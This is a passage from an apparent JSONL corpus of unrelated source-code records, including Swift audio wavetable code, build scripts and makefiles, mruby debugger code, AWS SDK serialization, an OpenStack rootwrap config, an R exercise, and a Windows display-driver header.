(22050.0, 1)]\n\n public class func harmonicPitchRange(rootFrequency: Double = 8.175_798_915_643_75, octaveStepSize: Double = 1) -> [(Double, Int)] {\n let nyquist = 22_050.0\n var octave = 0.0\n var retVal = [(Double, Int)]()\n while rootFrequency * pow(2, octave) < nyquist {\n var harmonic = 1\n var maxHarmonic = 1\n var frequency = rootFrequency * pow(2, octave)\n octave += octaveStepSize\n while harmonic * frequency < nyquist {\n maxHarmonic = harmonic\n harmonic += 1\n }\n frequency = nyquist / Double(maxHarmonic)\n if maxHarmonic == 1 {\n if let lastVal = retVal.last {\n // don't append duplicates\n if lastVal.1 == maxHarmonic {\n continue\n }\n }\n }\n retVal.append((frequency, maxHarmonic))\n }\n return retVal\n }\n\n /// This method will start at rootFrequency * octave, walk up by octaveStepSize, and halt before reaching nyquist.\n /// This method outputs an array where each entry is a tuple of frequency and the maximum number of harmonics.\n /// This method is \"pitch\"-based, which may not be the best way to distribute harmonics.\n ///\n /// The design is to create wavetables with the most harmonics for frequencies LESS THAN the frequency of the table.\n /// ASSUME a nyquist 1 harmonic table. Allows the harmonic distribution to not consider the outlier.\n\n /// Parameters:\n /// - f0: the lowest frequency wavetable. 130.8127826503 corresponds to C-1, or nn = 48\n /// - f1: the highest frequency wavetable. 2093.0045224048 corresponds to C6, or nn = 96\n ///\n /// - wavetableCount: The number of wavetables from which to interpolate from f0 to f1\n ///\n public class func harmonicFrequencyRange(f0: Double = 130.812_782_650_3, f1: Double = 2_093.004_522_404_8, wavetableCount: Int = 12) -> [(Double, Int)] {\n let nyquist = 22_050.0\n var retVal = [(Double, Int)]()\n for i in 0.. Float in\n return 1 / Float(harmonic)\n }\n\n for h in 1...harmonicCount {\n for i in indices {\n self[i] += Float(coefficient(h) * sin(h * 2 * 3.141_592_65 * Float(i + phaseOffset) / Float(count)))\n }\n }\n }\n\n /// Set table values to sum of sines approximating a square with harmonicCount harmonics.\n /// Parameters:\n /// - harmonicCount: the number of harmonics to synthesize\n /// - clear: will clear the table first\n public func square(harmonicCount: Int = 1_024, clear: Bool = true) {\n self.phase = 0\n\n if clear {\n for i in indices {\n self[i] = 0\n }\n }\n\n let coefficient = {(harmonic: Int) -> Float in\n return Float(harmonic % 2) / Float(harmonic)\n }\n\n for h in 1...harmonicCount {\n for i in indices {\n self[i] += Float(coefficient(h) * sin(h * 2 * 3.141_592_65 * Float(i + phaseOffset) / Float(count)))\n }\n }\n }\n\n /// Set table values to sum of sines approximating a triangle with harmonicCount harmonics.\n /// Parameters:\n /// - harmonicCount: the number of harmonics to synthesize\n /// - clear: will clear the table first\n public func triangle(harmonicCount: Int = 1_024, clear: Bool = true) {\n self.phase = 0\n\n if clear {\n for i in indices {\n self[i] = 0\n }\n }\n\n let coefficient = {(harmonic: Int) -> Float in\n var c: Float = 0\n let i = harmonic - 1\n let m2 = i % 2\n let m4 = i % 4\n if m4 == 0 {\n c = 1\n } else if m2 == 0 {\n c = -1\n }\n\n return c / Float(harmonic * harmonic)\n }\n\n for h in 1...harmonicCount {\n for i in indices {\n self[i] += Float(coefficient(h) * sin(h * 2 * 3.141_592_65 * Float(i + phaseOffset) / Float(count) ) )\n }\n }\n }\n\n /// Set table values to sum of sines approximating a pulse width of period with harmonicCount harmonics.\n /// Due to DC component, and scaling/normalizing, a \"clear\" parameter is not provided.\n /// Parameters:\n /// - harmonicCount: the number of harmonics to synthesize\n /// - period: float on (0,1) for the range above 0\n public func pwm(harmonicCount: Int = 1_024, period: Float = 1 / 8) {\n self.phase = 0\n\n let t: Float = 1\n let k: Float = period\n let d: Float = k / t\n let a: Float = 1\n let a0: Float = a * d\n\n for i in indices {\n self[i] = a0\n }\n\n let coefficient = {(harmonic: Int) -> Float in\n let c: Float = ((2 * a) / (Float(harmonic) * 3.141_592_65)) * sin( Float(harmonic * 3.141_592_65 * d) )\n return c\n }\n\n // offset the samples by 1/2 period\n let sampleOffset = Int(period * count * 0.5)\n\n for h in 1...harmonicCount {\n for i in indices {\n let x = Float(coefficient(h) * cos(h * 2 * 3.141_592_65 * Float(i + phaseOffset) / Float(count)))\n let index = (i + sampleOffset) % count\n self[index] += x\n }\n }\n\n // finally, convert [0,1] to [-1,1]\n for i in indices {\n self[i] *= 2\n self[i] -= 1\n }\n }\n\n /// returns a tuple with min, max, absMax\n public func minMax() -> (min: Float, max: Float, absMax: Float) {\n var min: Float = 999_999\n var max: Float = -999_999\n var absMax: Float = -1\n\n for i in indices {\n let v = self[i]\n if v < min {\n min = v\n }\n if v > max {\n max = v\n }\n if abs(v) > absMax {\n absMax = abs(v)\n }\n }\n return (min, max, absMax)\n }\n\n /// In-place normalize\n public func normalize() {\n let mma = self.minMax()\n let absMax = mma.2\n if absMax > 0.000_001 {\n for i in indices {\n self[i] /= absMax\n }\n AKLog(\"absMax = \\(absMax): NOW NORMALIZED\")\n } else {\n AKLog(\"absMax = \\(absMax): NOT NORMALIZED\")\n }\n }\n\n /// In-place reverse samples\n public func reverse() {\n for i in 0.. Element {\n var msd: Element = 0\n for i in indices {\n var d: Element = self[i] - t[i]\n d *= d\n msd += d\n }\n msd = sqrt(msd) / Element(indices.count)\n\n return msd\n }\n}\n"} +{"text": "#!/bin/bash\n\n# Fix the CircleCI path\nfunction getAndroidSDK(){\n export PATH=\"$ANDROID_HOME/platform-tools:$ANDROID_HOME/tools:$PATH\"\n\n DEPS=\"$ANDROID_HOME/installed-dependencies\"\n\n if [ ! -e $DEPS ]; then\n cp -r /usr/local/android-sdk-linux $ANDROID_HOME &&\n echo y | android update sdk -u -a -t android-25 &&\n echo y | android update sdk -u -a -t platform-tools &&\n echo y | android update sdk -u -a -t build-tools-25.0.1 &&\n touch $DEPS\n fi\n}\n"} +{"text": "/*\n** apiprint.c\n**\n*/\n\n#include \n#include \"mrdb.h\"\n#include \"mruby/value.h\"\n#include \"mruby/class.h\"\n#include \"mruby/compile.h\"\n#include \"mruby/error.h\"\n#include \"mruby/numeric.h\"\n#include \"mruby/string.h\"\n#include \"apiprint.h\"\n\nstatic void\nmrdb_check_syntax(mrb_state *mrb, mrb_debug_context *dbg, const char *expr, size_t len)\n{\n mrbc_context *c;\n\n c = mrbc_context_new(mrb);\n c->no_exec = TRUE;\n c->capture_errors = TRUE;\n c->filename = (char*)dbg->prvfile;\n c->lineno = dbg->prvline;\n\n /* Load program */\n mrb_load_nstring_cxt(mrb, expr, len, c);\n\n mrbc_context_free(mrb, c);\n}\n\nmrb_value\nmrb_debug_eval(mrb_state *mrb, mrb_debug_context *dbg, const char *expr, size_t len, mrb_bool *exc)\n{\n void (*tmp)(struct mrb_state *, struct mrb_irep *, mrb_code *, mrb_value *);\n mrb_value ruby_code;\n mrb_value s;\n mrb_value v;\n mrb_value recv;\n\n /* disable code_fetch_hook */\n tmp = mrb->code_fetch_hook;\n mrb->code_fetch_hook = NULL;\n\n mrdb_check_syntax(mrb, dbg, expr, len);\n if (mrb->exc) {\n v = mrb_obj_value(mrb->exc);\n mrb->exc = 0;\n }\n else {\n /*\n * begin\n * expr\n * rescue => e\n * e\n * end\n */\n ruby_code = mrb_str_new_lit(mrb, \"begin\\n\");\n ruby_code = mrb_str_cat(mrb, ruby_code, expr, len);\n ruby_code = mrb_str_cat_lit(mrb, ruby_code, \"\\nrescue => e\\ne\\nend\");\n\n recv = dbg->regs[0];\n\n v = mrb_funcall(mrb, recv, \"instance_eval\", 1, ruby_code);\n }\n\n if (exc) {\n *exc = mrb_obj_is_kind_of(mrb, v, mrb->eException_class);\n }\n\n s = mrb_funcall(mrb, v, \"inspect\", 0);\n\n /* enable code_fetch_hook */\n mrb->code_fetch_hook = tmp;\n\n return s;\n}\n"} +{"text": "//----------------------------------------------------------------------------\n// Anti-Grain Geometry (AGG) - Version 2.5\n// A high quality rendering engine for C++\n// Copyright (C) 2002-2006 Maxim Shemanarev\n// Contact: mcseem@antigrain.com\n// mcseemagg@yahoo.com\n// http://antigrain.com\n// \n// AGG is free software; you can redistribute it and/or\n// modify it under the terms of the GNU General Public License\n// as published by the Free Software Foundation; either version 2\n// of the License, or (at your option) any later version.\n// \n// AGG is distributed in the hope that it will be useful,\n// but WITHOUT ANY WARRANTY; without even the implied warranty of\n// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n// GNU General Public License for more details.\n// \n// You should have received a copy of the GNU General Public License\n// along with AGG; if not, write to the Free Software\n// Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, \n// MA 02110-1301, USA.\n//----------------------------------------------------------------------------\n\n#include \"agg_arrowhead.h\"\n\nnamespace agg\n{\n\n //------------------------------------------------------------------------\n arrowhead::arrowhead() :\n m_head_d1(1.0),\n m_head_d2(1.0),\n m_head_d3(1.0),\n m_head_d4(0.0),\n m_tail_d1(1.0),\n m_tail_d2(1.0),\n m_tail_d3(1.0),\n m_tail_d4(0.0),\n m_head_flag(false),\n m_tail_flag(false),\n m_curr_id(0),\n m_curr_coord(0)\n {\n }\n\n\n\n //------------------------------------------------------------------------\n void arrowhead::rewind(unsigned path_id)\n {\n m_curr_id = path_id;\n m_curr_coord = 0;\n if(path_id == 0)\n {\n if(!m_tail_flag)\n {\n m_cmd[0] = path_cmd_stop;\n return;\n }\n m_coord[0] = m_tail_d1; m_coord[1] = 0.0;\n m_coord[2] = m_tail_d1 - m_tail_d4; m_coord[3] = m_tail_d3;\n m_coord[4] = -m_tail_d2 - m_tail_d4; m_coord[5] = m_tail_d3;\n m_coord[6] = -m_tail_d2; m_coord[7] = 0.0;\n m_coord[8] = -m_tail_d2 - m_tail_d4; m_coord[9] = -m_tail_d3;\n m_coord[10] = m_tail_d1 - m_tail_d4; m_coord[11] = -m_tail_d3;\n\n m_cmd[0] = path_cmd_move_to;\n m_cmd[1] = path_cmd_line_to;\n m_cmd[2] = path_cmd_line_to;\n m_cmd[3] = path_cmd_line_to;\n m_cmd[4] = path_cmd_line_to;\n m_cmd[5] = path_cmd_line_to;\n m_cmd[7] = path_cmd_end_poly | path_flags_close | path_flags_ccw;\n m_cmd[6] = path_cmd_stop;\n return;\n }\n\n if(path_id == 1)\n {\n if(!m_head_flag)\n {\n m_cmd[0] = path_cmd_stop;\n return;\n }\n m_coord[0] = -m_head_d1; m_coord[1] = 0.0;\n m_coord[2] = m_head_d2 + m_head_d4; m_coord[3] = -m_head_d3;\n m_coord[4] = m_head_d2; m_coord[5] = 0.0;\n m_coord[6] = m_head_d2 + m_head_d4; m_coord[7] = m_head_d3;\n\n m_cmd[0] = path_cmd_move_to;\n m_cmd[1] = path_cmd_line_to;\n m_cmd[2] = path_cmd_line_to;\n m_cmd[3] = path_cmd_line_to;\n m_cmd[4] = path_cmd_end_poly | path_flags_close | path_flags_ccw;\n m_cmd[5] = path_cmd_stop;\n return;\n }\n }\n\n\n //------------------------------------------------------------------------\n unsigned arrowhead::vertex(double* x, double* y)\n {\n if(m_curr_id < 2)\n {\n unsigned curr_idx = m_curr_coord * 2;\n *x = m_coord[curr_idx];\n *y = m_coord[curr_idx + 1];\n return m_cmd[m_curr_coord++];\n }\n return path_cmd_stop;\n }\n\n}\n"} +{"text": "/**\n * Copyright Amazon.com, Inc. or its affiliates. All Rights Reserved.\n * SPDX-License-Identifier: Apache-2.0.\n */\n\n#include \n#include \n\n#include \n\nusing namespace Aws::CloudHSMV2::Model;\nusing namespace Aws::Utils::Json;\nusing namespace Aws::Utils;\n\nCreateClusterRequest::CreateClusterRequest() : \n m_subnetIdsHasBeenSet(false),\n m_hsmTypeHasBeenSet(false),\n m_sourceBackupIdHasBeenSet(false),\n m_tagListHasBeenSet(false)\n{\n}\n\nAws::String CreateClusterRequest::SerializePayload() const\n{\n JsonValue payload;\n\n if(m_subnetIdsHasBeenSet)\n {\n Array subnetIdsJsonList(m_subnetIds.size());\n for(unsigned subnetIdsIndex = 0; subnetIdsIndex < subnetIdsJsonList.GetLength(); ++subnetIdsIndex)\n {\n subnetIdsJsonList[subnetIdsIndex].AsString(m_subnetIds[subnetIdsIndex]);\n }\n payload.WithArray(\"SubnetIds\", std::move(subnetIdsJsonList));\n\n }\n\n if(m_hsmTypeHasBeenSet)\n {\n payload.WithString(\"HsmType\", m_hsmType);\n\n }\n\n if(m_sourceBackupIdHasBeenSet)\n {\n payload.WithString(\"SourceBackupId\", m_sourceBackupId);\n\n }\n\n if(m_tagListHasBeenSet)\n {\n Array tagListJsonList(m_tagList.size());\n for(unsigned tagListIndex = 0; tagListIndex < tagListJsonList.GetLength(); ++tagListIndex)\n {\n tagListJsonList[tagListIndex].AsObject(m_tagList[tagListIndex].Jsonize());\n }\n payload.WithArray(\"TagList\", std::move(tagListJsonList));\n\n }\n\n return payload.View().WriteReadable();\n}\n\nAws::Http::HeaderValueCollection CreateClusterRequest::GetRequestSpecificHeaders() const\n{\n Aws::Http::HeaderValueCollection headers;\n headers.insert(Aws::Http::HeaderValuePair(\"X-Amz-Target\", \"BaldrApiService.CreateCluster\"));\n return headers;\n\n}\n\n\n\n\n"} +{"text": "# Configuration for ironic-rootwrap\n# This file should be owned by (and only-writeable by) the root user\n\n[DEFAULT]\n# List of directories to load filter definitions from (separated by ',').\n# These directories MUST all be only writeable by root !\nfilters_path=/etc/ironic/rootwrap.d,/usr/share/ironic/rootwrap,/etc/ironic-inspector/rootwrap.d\n\n# List of directories to search executables in, in case filters do not\n# explicitely specify a full path (separated by ',')\n# If not specified, defaults to system PATH environment variable.\n# These directories MUST all be only writeable by root !\nexec_dirs=/sbin,/usr/sbin,/bin,/usr/bin,/usr/local/bin,/usr/local/sbin,/var/lib/openstack/bin\n\n# Enable logging to syslog\n# Default value is False\nuse_syslog=False\n\n# Which syslog facility to use.\n# Valid values include auth, authpriv, syslog, user0, user1...\n# Default value is 'syslog'\nsyslog_log_facility=syslog\n\n# Which messages to log.\n# INFO means log all usage\n# ERROR means only log unsuccessful attempts\nsyslog_log_level=ERROR\n"} +{"text": "## Machine Learning Online Class - Exercise 3 | Part 1: One-vs-all\n\n# Instructions\n# ------------\n# \n# This file contains code that helps you get started on the\n# linear exercise. You will need to complete the following functions \n# in this exericse:\n#\n# lrCostFunction.R (logistic regression cost function)\n# oneVsAll.R\n# predictOneVsAll.R\n# predict.R\n#\n# For this exercise, you will not need to change any code in this file,\n# or any other files other than those mentioned above.\n#\n\n## Initialization\nrm(list=ls())\nsources <- c(\"displayData.R\",\"lrCostFunction.R\",\n \"oneVsAll.R\",\"predict.R\",\n \"predictOneVsAll.R\",\"sigmoid.R\")\nfor (i in 1:length(sources)) {\n cat(paste(\"Loading \",sources[i],\"\\n\"))\n source(sources[i])\n}\n\n## Setup the parameters you will use for this part of the exercise\ninput_layer_size <- 400 # 20x20 Input Images of Digits\nnum_labels <- 10 # 10 labels, from 1 to 10 \n # (note that we have mapped \"0\" to label 10)\n\n## ------------- Part 1: Loading and Visualizing Data --------------\n# We start the exercise by first loading and visualizing the dataset. \n# You will be working with a dataset that contains handwritten digits.\n#\n\n# Load Training Data\ncat(sprintf('Loading and Visualizing Data ...\\n'))\nload('ex3data1.Rda') #data\nlist2env(data,.GlobalEnv)\nrm(data)\n\nm <- dim(X)[1]\n\n# Randomly select 100 data points to display\nrand_indices <- sample(m)\nsel <- X[rand_indices[1:100], ]\n\ndisplayData(sel)\n\ncat(sprintf('Program paused. Press enter to continue.\\n'))\nline <- readLines(con = stdin(),1)\n\n## ------------ Part 2: Vectorize Logistic Regression ------------\n# In this part of the exercise, you will reuse your logistic regression\n# code from the last exercise. Your task here is to make sure that your\n# regularized logistic regression implementation is vectorized. After\n# that, you will implement one-vs-all classification for the handwritten\n# digit dataset.\n#\n\ncat(sprintf('\\nTraining One-vs-All Logistic Regression...\\n'))\n\nlambda <- 0.1\nall_theta <- oneVsAll(X, y, num_labels, lambda)\n\ncat(sprintf('Program paused. Press enter to continue.\\n'))\nline <- readLines(con = stdin(),1)\n\n\n## ----------------- Part 3: Predict for One-Vs-All -----------------\npred <- predictOneVsAll(all_theta, X)\n\ncat(sprintf('\\nTraining Set Accuracy: %f\\n', mean(pred == y) * 100))\n\n"} +{"text": "obj-$(CONFIG_USB_WHCI_HCD) += whci-hcd.o\n\nwhci-hcd-y := \\\n\tasl.o\t\\\n\tdebug.o \\\n\thcd.o\t\\\n\thw.o\t\\\n\tinit.o\t\\\n\tint.o\t\\\n\tpzl.o\t\\\n\tqset.o\t\\\n\twusb.o\n"} +{"text": "require('../../modules/es6.math.acosh');\nrequire('../../modules/es6.math.asinh');\nrequire('../../modules/es6.math.atanh');\nrequire('../../modules/es6.math.cbrt');\nrequire('../../modules/es6.math.clz32');\nrequire('../../modules/es6.math.cosh');\nrequire('../../modules/es6.math.expm1');\nrequire('../../modules/es6.math.fround');\nrequire('../../modules/es6.math.hypot');\nrequire('../../modules/es6.math.imul');\nrequire('../../modules/es6.math.log10');\nrequire('../../modules/es6.math.log1p');\nrequire('../../modules/es6.math.log2');\nrequire('../../modules/es6.math.sign');\nrequire('../../modules/es6.math.sinh');\nrequire('../../modules/es6.math.tanh');\nrequire('../../modules/es6.math.trunc');\nmodule.exports = require('../../modules/$.core').Math;"} +{"text": "---\ntitle: Status Indications in a Protocol Driver\ndescription: Status Indications in a Protocol Driver\nms.assetid: 4b0426bb-4311-4251-b9ee-38d081f061e5\nkeywords:\n- protocol drivers WDK networking , status indications\n- NDIS protocol drivers WDK , status indications\n- status indications WDK networking , protocol drivers\nms.date: 04/20/2017\nms.localizationpriority: medium\n---\n\n# Status Indications in a Protocol Driver\n\n\n\n\n\nThere are two different interfaces for status indications in a protocol driver. An NDIS protocol driver with a connectionless lower edge is required to supply a [**ProtocolStatusEx**](/windows-hardware/drivers/ddi/ndis/nc-ndis-protocol_status_ex) function. NDIS calls *ProtocolStatusEx* when an underlying connectionless miniport driver calls [**NdisMIndicateStatusEx**](/windows-hardware/drivers/ddi/ndis/nf-ndis-ndismindicatestatusex) to report a change in its hardware status. NDIS calls *ProtocolStatusEx* when the status change begins. For more information about status indications in connectionless protocol drivers, see [Handling Status Indications in a Protocol Driver](handling-status-indications-in-a-protocol-driver.md).\n\nA connection-oriented protocol driver must supply a [**ProtocolCoStatusEx**](/windows-hardware/drivers/ddi/ndis/nc-ndis-protocol_co_status_ex) function. NDIS calls *ProtocolCoStatusEx* when an underlying connection-oriented miniport driver calls [**NdisMCoIndicateStatusEx**](/windows-hardware/drivers/ddi/ndis/nf-ndis-ndismcoindicatestatusex) to report a change in its hardware status. NDIS calls *ProtocolCoStatusEx* when the status change begins. For more information about status indications in connection-oriented protocol drivers, see [Connection-Oriented Operations](connection-oriented-operations-performed-by-clients.md)\n\nFor a complete list of the possible status indications, see [Status Indications](/windows-hardware/drivers/ddi/_netvista/).\n\n \n\n"} +{"text": "# makefile for Lua etc\n\nTOP= ..\nLIB= $(TOP)/src\nINC= $(TOP)/src\nBIN= $(TOP)/src\nSRC= $(TOP)/src\nTST= $(TOP)/test\n\nCC= gcc\nCFLAGS= -O2 -Wall -I$(INC) $(MYCFLAGS)\nMYCFLAGS= \nMYLDFLAGS= -Wl,-E\nMYLIBS= -lm\n#MYLIBS= -lm -Wl,-E -ldl -lreadline -lhistory -lncurses\nRM= rm -f\n\ndefault:\n\t@echo 'Please choose a target: min noparser one strict clean'\n\nmin:\tmin.c\n\t$(CC) $(CFLAGS) $@.c -L$(LIB) -llua $(MYLIBS)\n\techo 'print\"Hello there!\"' | ./a.out\n\nnoparser: noparser.o\n\t$(CC) noparser.o $(SRC)/lua.o -L$(LIB) -llua $(MYLIBS)\n\t$(BIN)/luac $(TST)/hello.lua\n\t-./a.out luac.out\n\t-./a.out -e'a=1'\n\none:\n\t$(CC) $(CFLAGS) all.c $(MYLIBS)\n\t./a.out $(TST)/hello.lua\n\nstrict:\n\t-$(BIN)/lua -e 'print(a);b=2'\n\t-$(BIN)/lua -lstrict -e 'print(a)'\n\t-$(BIN)/lua -e 'function f() b=2 end f()'\n\t-$(BIN)/lua -lstrict -e 'function f() b=2 end f()'\n\nclean:\n\t$(RM) a.out core core.* *.o luac.out\n\n.PHONY:\tdefault min noparser one strict clean\n"} +{"text": "Type.registerNamespace(\"Sys.Extended.UI.HtmlEditor.ToolbarButtons\");\n\nSys.Extended.UI.HtmlEditor.ToolbarButtons.FixedForeColor = function(element) {\n Sys.Extended.UI.HtmlEditor.ToolbarButtons.FixedForeColor.initializeBase(this, [element]);\n}\n\nSys.Extended.UI.HtmlEditor.ToolbarButtons.FixedForeColor.prototype = {\n\n setColor: function(color) {\n this._designPanel._execCommand(\"forecolor\", false, color);\n }\n}\n\nSys.Extended.UI.HtmlEditor.ToolbarButtons.FixedForeColor.registerClass(\"Sys.Extended.UI.HtmlEditor.ToolbarButtons.FixedForeColor\", Sys.Extended.UI.HtmlEditor.ToolbarButtons.FixedColorButton);"} +{"text": "/**\n * @file\n */\n\n#include \"CharacterSkeletonAttribute.h\"\n\nnamespace animation {\n\n#define SKELETONATTRIBUTECHR(member) SKELETONATTRIBUTE(struct CharacterSkeletonAttribute, member)\n\n#ifdef __GNUC__\n#pragma GCC diagnostic push\n#pragma GCC diagnostic ignored \"-Winvalid-offsetof\"\n#endif\n\nstatic const SkeletonAttributeMeta ChrSkeletonAttributeMetaArray[] = {\n\tSKELETONATTRIBUTECHR(scaler),\n\tSKELETONATTRIBUTECHR(toolRight),\n\tSKELETONATTRIBUTECHR(toolForward),\n\tSKELETONATTRIBUTECHR(toolScale),\n\tSKELETONATTRIBUTECHR(neckRight),\n\tSKELETONATTRIBUTECHR(neckForward),\n\tSKELETONATTRIBUTECHR(neckHeight),\n\tSKELETONATTRIBUTECHR(headScale),\n\tSKELETONATTRIBUTECHR(handRight),\n\tSKELETONATTRIBUTECHR(handForward),\n\tSKELETONATTRIBUTECHR(shoulderRight),\n\tSKELETONATTRIBUTECHR(shoulderForward),\n\tSKELETONATTRIBUTECHR(runTimeFactor),\n\tSKELETONATTRIBUTECHR(jumpTimeFactor),\n\tSKELETONATTRIBUTECHR(idleTimeFactor),\n\tSKELETONATTRIBUTECHR(shoulderScale),\n\tSKELETONATTRIBUTECHR(hipOffset),\n\tSKELETONATTRIBUTECHR(origin),\n\tSKELETONATTRIBUTECHR(footHeight),\n\tSKELETONATTRIBUTECHR(invisibleLegHeight),\n\tSKELETONATTRIBUTECHR(pantsHeight),\n\tSKELETONATTRIBUTECHR(beltHeight),\n\tSKELETONATTRIBUTECHR(chestHeight),\n\tSKELETONATTRIBUTECHR(gliderOffset),\n\tSKELETONATTRIBUTECHR(glidingForward),\n\tSKELETONATTRIBUTECHR(glidingUpwards),\n\tSKELETONATTRIBUTECHR(headHeight),\n\tSKELETONATTRIBUTECHR(footRight),\n\n\tSKELETONATTRIBUTECHR(footY),\n\tSKELETONATTRIBUTECHR(pantsY),\n\tSKELETONATTRIBUTECHR(beltY),\n\tSKELETONATTRIBUTECHR(chestY),\n\tSKELETONATTRIBUTECHR(headY),\n\tSKELETONATTRIBUTECHR(gliderY),\n\n\tSKELETONATTRIBUTE_END\n};\n\n#ifdef __GNUC__\n#pragma GCC diagnostic pop\n#endif\n\n#undef SKELETONATTRIBUTECHR\n\nCharacterSkeletonAttribute::CharacterSkeletonAttribute() :\n\t\tSkeletonAttribute(SkeletonAttributeType::Character, ChrSkeletonAttributeMetaArray) {\n}\n\n}\n"} +{"text": "#pragma once\r\n\r\n#include \"CosKmd.h\"\r\n\r\n#include \"CosKmdAllocation.h\"\r\n#include \"CosKmdGlobal.h\"\r\n\r\n#pragma warning(disable:4201) // nameless struct/union\r\n\r\ntypedef struct __COSKMERRORCONDITION\r\n{\r\n union\r\n {\r\n struct\r\n {\r\n UINT m_UnSupportedPagingOp : 1;\r\n UINT m_NotifyDmaBufCompletion : 1;\r\n UINT m_NotifyPreemptionCompletion : 1;\r\n UINT m_NotifyDmaBufFault : 1;\r\n UINT m_PreparationError : 1;\r\n UINT m_PagingFailure : 1;\r\n };\r\n\r\n UINT m_Value;\r\n };\r\n} COSKMERRORCONDITION;\r\n\r\ntypedef struct _COSDMABUFSTATE\r\n{\r\n union\r\n {\r\n struct\r\n {\r\n UINT m_bRender : 1;\r\n UINT m_bPresent : 1;\r\n UINT m_bPaging : 1;\r\n UINT m_bSwCommandBuffer : 1;\r\n UINT m_bPatched : 1;\r\n UINT m_bSubmittedOnce : 1;\r\n UINT m_bRun : 1;\r\n UINT m_bPreempted : 1;\r\n UINT m_bReset : 1;\r\n UINT m_bCompleted : 1;\r\n#if COS_GPUVA_SUPPORT\r\n UINT m_bGpuVaCommandBuffer : 1;\r\n#endif\r\n };\r\n\r\n UINT m_Value;\r\n };\r\n} COSDMABUFSTATE;\r\n\r\ntypedef struct _COSDMABUFINFO\r\n{\r\n PBYTE m_pDmaBuffer;\r\n#if COS_GPUVA_SUPPORT\r\n D3DGPU_VIRTUAL_ADDRESS m_DmaBufferGpuVa;\r\n#else\r\n LARGE_INTEGER m_DmaBufferPhysicalAddress;\r\n#endif\r\n UINT m_DmaBufferSize;\r\n COSDMABUFSTATE m_DmaBufState;\r\n\r\n LONGLONG m_DmaBufStallDuration;\r\n} COSDMABUFINFO;\r\n\r\ntypedef struct _COSDMABUFSUBMISSION\r\n{\r\n LIST_ENTRY m_QueueEntry;\r\n COSDMABUFINFO * m_pDmaBufInfo;\r\n UINT m_StartOffset;\r\n UINT m_EndOffset;\r\n UINT m_SubmissionFenceId;\r\n bool m_bSimulateHang;\r\n} COSDMABUFSUBMISSION;\r\n\r\ntypedef union _CosKmAdapterFlags\r\n{\r\n UINT m_value;\r\n} CosKmAdapterFlags;\r\n\r\n#pragma warning(default:4201) // nameless struct/union\r\n\r\nclass CosKmdDdi;\r\n\r\nclass CosKmAdapter\r\n{\r\npublic:\r\n\r\n static NTSTATUS AddAdapter(\r\n IN_CONST_PDEVICE_OBJECT PhysicalDeviceObject,\r\n OUT_PPVOID MiniportDeviceContext);\r\n\r\n NTSTATUS SubmitCommand(\r\n IN_CONST_PDXGKARG_SUBMITCOMMAND pSubmitCommand);\r\n\r\n NTSTATUS DispatchIoRequest(\r\n IN_ULONG VidPnSourceId,\r\n IN_PVIDEO_REQUEST_PACKET VideoRequestPacket);\r\n\r\n virtual BOOLEAN InterruptRoutine(\r\n IN_ULONG MessageNumber) = NULL;\r\n\r\n NTSTATUS Patch(\r\n IN_CONST_PDXGKARG_PATCH pPatch);\r\n\r\n NTSTATUS CreateAllocation(\r\n INOUT_PDXGKARG_CREATEALLOCATION pCreateAllocation);\r\n\r\n NTSTATUS DestroyAllocation(\r\n IN_CONST_PDXGKARG_DESTROYALLOCATION pDestroyAllocation);\r\n\r\n NTSTATUS QueryAdapterInfo(\r\n IN_CONST_PDXGKARG_QUERYADAPTERINFO pQueryAdapterInfo);\r\n\r\n NTSTATUS DescribeAllocation(\r\n INOUT_PDXGKARG_DESCRIBEALLOCATION pDescribeAllocation);\r\n\r\n NTSTATUS GetNodeMetadata(\r\n UINT NodeOrdinal,\r\n OUT_PDXGKARG_GETNODEMETADATA pGetNodeMetadata);\r\n\r\n NTSTATUS GetStandardAllocationDriverData(\r\n INOUT_PDXGKARG_GETSTANDARDALLOCATIONDRIVERDATA pGetStandardAllocationDriverData);\r\n\r\n NTSTATUS\r\n SubmitCommandVirtual(\r\n IN_CONST_PDXGKARG_SUBMITCOMMANDVIRTUAL pSubmitCommandVirtual);\r\n\r\n NTSTATUS\r\n PreemptCommand(\r\n IN_CONST_PDXGKARG_PREEMPTCOMMAND pPreemptCommand);\r\n\r\n NTSTATUS\r\n RestartFromTimeout();\r\n\r\n NTSTATUS\r\n CancelCommand(\r\n IN_CONST_PDXGKARG_CANCELCOMMAND pCancelCommand);\r\n\r\n NTSTATUS\r\n QueryEngineStatus(\r\n INOUT_PDXGKARG_QUERYENGINESTATUS pQueryEngineStatus);\r\n\r\n NTSTATUS\r\n ResetEngine(\r\n INOUT_PDXGKARG_RESETENGINE pResetEngine);\r\n\r\n\r\n NTSTATUS\r\n CollectDbgInfo(\r\n IN_CONST_PDXGKARG_COLLECTDBGINFO pCollectDbgInfo);\r\n\r\n NTSTATUS\r\n CreateProcess(\r\n IN DXGKARG_CREATEPROCESS* pArgs);\r\n\r\n NTSTATUS\r\n DestroyProcess(\r\n IN HANDLE KmdProcessHandle);\r\n\r\n void\r\n SetStablePowerState(\r\n IN_CONST_PDXGKARG_SETSTABLEPOWERSTATE pArgs);\r\n\r\n NTSTATUS\r\n CalibrateGpuClock(\r\n IN UINT32 NodeOrdinal,\r\n IN UINT32 EngineOrdinal,\r\n OUT_PDXGKARG_CALIBRATEGPUCLOCK pClockCalibration\r\n );\r\n\r\n NTSTATUS\r\n Escape(\r\n IN_CONST_PDXGKARG_ESCAPE pEscape);\r\n\r\n NTSTATUS\r\n ResetFromTimeout();\r\n\r\n NTSTATUS\r\n QueryInterface(\r\n IN_PQUERY_INTERFACE QueryInterface);\r\n\r\n NTSTATUS\r\n QueryChildRelations(\r\n INOUT_PDXGK_CHILD_DESCRIPTOR ChildRelations,\r\n IN_ULONG ChildRelationsSize);\r\n\r\n NTSTATUS\r\n QueryChildStatus(\r\n IN_PDXGK_CHILD_STATUS ChildStatus,\r\n IN_BOOLEAN NonDestructiveOnly);\r\n NTSTATUS\r\n QueryDeviceDescriptor(\r\n IN_ULONG ChildUid,\r\n INOUT_PDXGK_DEVICE_DESCRIPTOR pDeviceDescriptor);\r\n\r\n NTSTATUS\r\n SetPowerState(\r\n IN_ULONG DeviceUid,\r\n IN_DEVICE_POWER_STATE DevicePowerState,\r\n IN_POWER_ACTION ActionType);\r\n\r\n NTSTATUS\r\n SetPowerComponentFState(\r\n IN UINT ComponentIndex,\r\n IN UINT FState);\r\n\r\n NTSTATUS\r\n PowerRuntimeControlRequest(\r\n IN LPCGUID PowerControlCode,\r\n IN 